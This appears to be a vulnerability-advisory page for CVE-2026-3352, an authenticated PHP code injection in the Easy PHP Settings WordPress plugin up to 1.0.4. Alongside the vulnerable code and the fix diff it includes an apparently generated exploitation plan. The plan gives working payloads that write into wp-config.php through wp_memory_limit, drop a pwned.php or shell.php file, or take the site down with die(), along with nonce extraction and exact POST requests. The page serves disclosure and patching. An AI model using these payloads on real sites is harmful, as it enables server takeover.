Easy PHP Settings <= 1.0.4 - Authenticated (Administrator+) PHP Code Injection via 'wp_memory_limit' Setting
Description
The Easy PHP Settings plugin for WordPress is vulnerable to PHP Code Injection in all versions up to, and including, 1.0.4 via the `update_wp_memory_constants()` method. This is due to insufficient input validation on the `wp_memory_limit` and `wp_max_memory_limit` settings before writing them to `wp-config.php`. The `sanitize_text_field()` function used for sanitization does not filter single quotes, allowing an attacker to break out of the string context in a PHP `define()` statement. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject and execute arbitrary PHP code on the server by modifying `wp-config.php`, which is loaded on every page request.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.0.4What Changed in the Fix
Changes introduced in v1.0.5
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3352 - Easy PHP Settings PHP Code Injection ## 1. Vulnerability Summary The **Easy PHP Settings** plugin (up to version 1.0.4) is vulnerable to authenticated PHP Code Injection. The vulnerability exists in the `update_wp_memory_constants()` method, which is re…
Show full research plan
Exploitation Research Plan: CVE-2026-3352 - Easy PHP Settings PHP Code Injection
1. Vulnerability Summary
The Easy PHP Settings plugin (up to version 1.0.4) is vulnerable to authenticated PHP Code Injection. The vulnerability exists in the update_wp_memory_constants() method, which is responsible for updating WordPress memory constants (WP_MEMORY_LIMIT and WP_MAX_MEMORY_LIMIT) in the wp-config.php file.
The plugin uses sanitize_text_field() to sanitize user-provided values for these settings. However, sanitize_text_field() does not remove single quotes ('). This allows an administrator to provide a value that breaks out of the single-quoted string context in a PHP define() statement, enabling the injection of arbitrary PHP code directly into wp-config.php.
2. Attack Vector Analysis
- Endpoint: WordPress Admin Dashboard, specifically the settings page for Easy PHP Settings.
- Hook:
admin_init. - Target Method:
Easy_PHP_Settings::update_wp_memory_constants()(likely called via a handler inadmin_init). - Vulnerable Parameters:
wp_memory_limitorwp_max_memory_limit. - Authentication Level: Administrator or higher (Network Admin in multisite). The
get_capability()method returnsmanage_network_optionsfor multisite andmanage_optionsotherwise. - Precondition: The
wp-config.phpfile must be writable by the web server (a common requirement for this plugin's functionality).
3. Code Flow
- Entry Point: An Administrator sends a POST request to
wp-admin/admin.php?page=easy-php-settings(ortools.php?page=easy-php-settings) to save memory settings. - Initialization: The
Easy_PHP_Settings::__constructregisters several methods to theadmin_inithook. One of these (inferred to be related to memory settings) handles the POST data. - Processing: The plugin identifies that
wp_memory_limitorwp_max_memory_limitis present in the request. - Vulnerable Method: The plugin calls
update_wp_memory_constants(). - Sanitization Failure: The code applies
sanitize_text_field()to the input.- Input:
256M'); file_put_contents('rce.php', '<?php phpinfo();'); // - Sanitized:
256M'); file_put_contents('rce.php', '<?php phpinfo();'); //(Single quotes remain).
- Input:
- Sink: The plugin reads
wp-config.php, performs a replacement to update thedefine('WP_MEMORY_LIMIT', '...')line, and writes the modified content back usingfile_put_contents. - Execution: Since
wp-config.phpis loaded on every page request, the injected code executes immediately upon the next request.
4. Nonce Acquisition Strategy
The plugin uses a nonce for its actions. In enqueue_styles, it localizes script data:
- JS Object:
easy_php_settingsAdminVars - Nonce Key:
nonce - Action String:
easy_php_settings_ajax_nonce
To obtain the nonce:
- Navigate to the plugin settings page:
/wp-admin/tools.php?page=easy-php-settings. - Execute the following via
browser_eval:window.easy_php_settingsAdminVars?.nonce - If the settings update uses a standard form nonce (e.g.,
_wpnonce), it can be extracted from the HTML:document.querySelector('input[name="_wpnonce"]')?.value
5. Exploitation Strategy
Step 1: Authentication
Log in as an Administrator.
Step 2: Extract Nonce
Navigate to /wp-admin/tools.php?page=easy-php-settings and extract the nonce using the strategy in Section 4.
Step 3: Trigger PHP Injection
Send a POST request to the admin interface. Based on the plugin's structure, it likely uses a tab-based system. We will target the wp_memory_limit parameter.
- Request URL:
/wp-admin/tools.php?page=easy-php-settings - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Payload:
(Note: The_wpnonce=[NONCE]&wp_memory_limit=256M');file_put_contents(ABSPATH.'pwned.php','<?php phpinfo();'); //&action=update_memory_settingsactionparameter and exact POST body structure should be confirmed by inspecting the form on the page.)
Step 4: Execution Trigger
Navigate to any page (e.g., the homepage /) to trigger the execution of wp-config.php.
Step 5: Verify RCE
Check if the file pwned.php was created.
6. Test Data Setup
- Install and activate the Easy PHP Settings plugin version 1.0.4.
- Ensure the environment has an Administrator user.
- Verify that
wp-config.phpcontains the standardWP_MEMORY_LIMITdefinition or is in a state where the plugin can insert it. - Ensure the web server has write permissions to
wp-config.phpand the root directory.
7. Expected Results
- The POST request should return a 302 redirect or a 200 OK success message.
- The
wp-config.phpfile will be modified to include:define( 'WP_MEMORY_LIMIT', '256M');file_put_contents(ABSPATH.'pwned.php','<?php phpinfo();'); //' ); - A subsequent request to any WordPress page will execute the
file_put_contentscall. - Accessing
/pwned.phpwill display the PHP info page.
8. Verification Steps
- Check Config: Use WP-CLI to inspect the
wp-config.phpcontents:cat /var/www/html/wp-config.php | grep "WP_MEMORY_LIMIT" - Check File Creation:
ls -la /var/www/html/pwned.php - HTTP Verification:
Request/pwned.phpand check for the string "PHP Version".
9. Alternative Approaches
If the plugin uses a specific admin_init handler that requires different parameters:
- Alternative Parameter: Target
wp_max_memory_limit. - Blind Execution: If
file_put_contentsfails due to directory permissions, useupdate_optionto inject a backdoor into an autoloaded option:256M');update_option('rce_check','executed');// - Error-Based: Use
die()to confirm execution:256M');die('VULNERABLE_CHECK');//(Site will go down with "VULNERABLE_CHECK" until config is fixed).
Summary
The Easy PHP Settings plugin for WordPress is vulnerable to authenticated PHP Code Injection via the 'wp_memory_limit' and 'wp_max_memory_limit' settings. Administrators can inject arbitrary PHP code into the site's `wp-config.php` file because the plugin uses `sanitize_text_field()`, which fails to strip single quotes, allowing an attacker to break out of the `define()` function's string context.
Vulnerable Code
// class-easy-php-settings.php @ approx line 428 public function sanitize_wp_memory_settings( $input ) { $new_input = array(); foreach ( $this->wp_memory_settings_keys as $key ) { if ( isset( $input[ $key ] ) ) { $new_input[ $key ] = sanitize_text_field( $input[ $key ] ); } } // ... // Update wp-config.php with WordPress memory settings. if ( ! empty( $new_input ) ) { $this->update_wp_memory_constants( $new_input ); } return $new_input; }
Security Fix
@@ -428,7 +463,18 @@ foreach ( $this->wp_memory_settings_keys as $key ) { if ( isset( $input[ $key ] ) ) { - $new_input[ $key ] = sanitize_text_field( $input[ $key ] ); + sanitized = Easy_Settings_Validator::sanitize_setting( $key, $input[ $key ] ); + $validation = Easy_Settings_Validator::validate_wp_memory_setting( $key, $sanitized ); + if ( is_wp_error( $validation ) ) { + Easy_Error_Handler::add_settings_error( + 'easy_php_settings_wp_memory_settings', + 'validation_error_' . $key, + $validation->get_error_message(), + 'error' + ); + continue; + } + $new_input[ $key ] = $sanitized; } } @@ -437,7 +483,17 @@ // Update wp-config.php with WordPress memory settings. if ( ! empty( $new_input ) ) { - $this->update_wp_memory_constants( $new_input ); + try { + $this->update_wp_memory_constants( $new_input ); + } catch ( Exception $e ) { + Easy_Error_Handler::handle_exception( $e, 'update_wp_memory_constants' ); + Easy_Error_Handler::add_settings_error( + 'easy_php_settings_wp_memory_settings', + 'config_update_error', + __( 'Failed to update wp-config.php. Please check error log.', 'easy-php-settings' ), + 'error' + ); + } }
Exploit Outline
1. Authenticate as a WordPress Administrator (or Network Admin in multisite environments). 2. Navigate to the plugin's settings page (typically under Tools > Easy PHP Settings) to retrieve a valid security nonce from the `easy_php_settingsAdminVars` JavaScript object. 3. Prepare a POST request to the settings update endpoint (e.g., `wp-admin/tools.php?page=easy-php-settings`). 4. Include a payload in the `easy_php_settings_wp_memory_settings[wp_memory_limit]` parameter that uses a single quote to escape the string context of the `define()` statement in `wp-config.php`. Example payload: `256M'); file_put_contents('shell.php', '<?php phpinfo(); ?>'); //`. 5. Send the POST request. This triggers `update_wp_memory_constants()`, which writes the payload directly into `wp-config.php`. 6. Trigger the execution of the injected code by visiting any page on the WordPress site, as `wp-config.php` is included in every request.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.